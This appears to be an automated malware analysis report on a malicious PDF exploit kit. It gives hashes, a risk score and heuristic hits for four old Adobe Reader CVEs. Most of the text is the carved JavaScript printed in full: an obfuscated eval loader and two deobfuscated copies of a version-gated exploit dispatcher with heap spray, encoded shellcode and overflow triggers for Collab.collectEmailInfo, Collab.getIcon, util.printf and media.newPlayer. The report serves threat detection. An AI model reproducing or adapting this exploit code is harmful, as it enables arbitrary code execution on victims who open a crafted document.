Malicious PDF — malware analysis report

Static analysis result for SHA-256 1a9fa7b307fcc313…

MALICIOUS

PDF

32.7 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-09
MD5: cf2cfe956c52fb88fa099caaaea6409b SHA-1: d5b5063d4e7d35945b43523768a288294f8bf359 SHA-256: 1a9fa7b307fcc31393270929b87f861ca115a7e07c6bc43434bfb4eadd2f8ff1
448 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically targeting functions like media.newPlayer, Collab.getIcon, Collab.collectEmailInfo, and util.printf. The recovered JavaScript code indicates a heap spray technique, commonly used to facilitate exploit execution. This suggests the primary purpose of the PDF is to exploit these vulnerabilities to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7F66 633 bytes
SHA-256: a922cb6f733d04b5d54117915572647718bed9e0270e18a3c106d970f107e2ab
Preview script
First 1,000 lines of the extracted script
function ke(eh){return Math.floor(eh/2);};var a=function(){ml=(function(){return this;})();aig=new Date();var dfow='';var sxy='e'+(parseInt(aig.getMonth())-2)+'a'+dfow+'l';kjf=ml[sxy.replace('9','v')];var kqmq='';var dfow='';kjf('va'+dfow+'r gr=th'+dfow+'i'+dfow+'s');kjf(''+dfow+' ydpn=Str'+dfow+'ing.f'+dfow+'romC'+dfow+'harCode');lf='pr'+dfow+aig.getMonth()+dfow+'uc'+'er';lf=lf.replace('11','od');var meie=gr[lf];jb=dfow;kjf('va'+jb+'r n'+dfow+'r=['+meie+jb+']');bdpa=nr;nyn='le'+dfow+'ng'+dfow+'th';vce=parseInt(bdpa[nyn]);dfow=0;while(dfow<vce){kqmq+=ydpn(bdpa[ke(dfow)+ke(vce)]-bdpa[ke(dfow)]);dfow+=2;}
kjf(kqmq);};a.call();
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3624 bytes
SHA-256: 1465faa72e855c17e9b73d83f027ea4dc63265488d9c19b67ce6cef61f43c0bb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3fb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uf934%ue2aa%uc3fa%ue5e8%uffff%u10ff%uf8f5%uf9f9%u78a7%ua515%uf9f8%u70f9%u741e%ue9b6%u9674%uc8ad%uae22%uaaa8%uaaaa%uaaaa%uaaaa%uaaac%u91aa%uf8fd%uf9f9%uafac%u91aa%u9796%uf9f9%u8c91%u958b%uad94%u7791%uf7b7%u1115%uf9b1%uf9f9%u11a9%uf985%uf9f9%u2906%u3d7a%u91f1%u16b6%ufcb6%u11a9%uf995%uf9f9%u2906%u397c%uee8c%uad93%u0aa0%u9153%u078b%uef4a%ue411%uf9f9%ua9f9%ua811%uf9f9%u06f9%uaa29%u0793%u7091%uf896%u1144%uf9f1%uf9f9%u11a9%uf9c5%uf9f9%u2906%uc899%u9d39%ua972%u72c9%uf5ab%uab72%u72ed%ud18b%ue140%uf9f9%uc8f9%uc806%u5539%u98c5%ufb85%ud9d5%u3638%uf8f4%u1b3e%u7809%ua206%ub345%u7293%ue9bb%ueb72%u208c%ubd70%ue5dd%u3a98%u7299%udd95%u72dd%uc5bc%uad72%u81fc%u13f8%ub372%u72e1%ud9a3%u12f8%ucd1a%u72b0%u72cd%u17f8%u06c8%u39c8%u5505%u397d%ufe8d%u3638%uf8f4%u123e%uc20d%udd85%u8cd1%u7218%udda3%u12f8%u729f%ub2f5%ua372%uf8e5%u7212%u72fd%u11f8%ubd70%ue5dd%u3b98%uf9f1%u1611%u0607%u9106%u8d8d%uc389%ud6d6%u969d%u9894%u989e%u8a8b%u90d7%u9f97%ud696%u9c91%u8995%u9c9d%u928a%ud7d6%u9490%ud69e%ud7ce%u9189%uf989';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3620 bytes
SHA-256: 64bee9d433ec08e6341ba4c040947eaac732ba235ddce10b5c27173f91864062
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3fb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uf934%ue2aa%uc3fa%ue5e8%uffff%u10ff%uf8f5%uf9f9%u78a7%ua515%uf9f8%u70f9%u741e%ue9b6%u9674%uc8ad%uae22%uaaa8%uaaaa%uaaaa%uaaaa%uaaac%u91aa%uf8fd%uf9f9%uafac%u91aa%u9796%uf9f9%u8c91%u958b%uad94%u7791%uf7b7%u1115%uf9b1%uf9f9%u11a9%uf985%uf9f9%u2906%u3d7a%u91f1%u16b6%ufcb6%u11a9%uf995%uf9f9%u2906%u397c%uee8c%uad93%u0aa0%u9153%u078b%uef4a%ue411%uf9f9%ua9f9%ua811%uf9f9%u06f9%uaa29%u0793%u7091%uf896%u1144%uf9f1%uf9f9%u11a9%uf9c5%uf9f9%u2906%uc899%u9d39%ua972%u72c9%uf5ab%uab72%u72ed%ud18b%ue140%uf9f9%uc8f9%uc806%u5539%u98c5%ufb85%ud9d5%u3638%uf8f4%u1b3e%u7809%ua206%ub345%u7293%ue9bb%ueb72%u208c%ubd70%ue5dd%u3a98%u7299%udd95%u72dd%uc5bc%uad72%u81fc%u13f8%ub372%u72e1%ud9a3%u12f8%ucd1a%u72b0%u72cd%u17f8%u06c8%u39c8%u5505%u397d%ufe8d%u3638%uf8f4%u123e%uc20d%udd85%u8cd1%u7218%udda3%u12f8%u729f%ub2f5%ua372%uf8e5%u7212%u72fd%u11f8%ubd70%ue5dd%u3b98%uf9f1%u1611%u0607%u9106%u8d8d%uc389%ud6d6%u969d%u9894%u989e%u8a8b%u90d7%u9f97%ud696%u9c91%u8995%u9c9d%u928a%ud7d6%u9490%ud69e%ud7ce%u9189%uf989';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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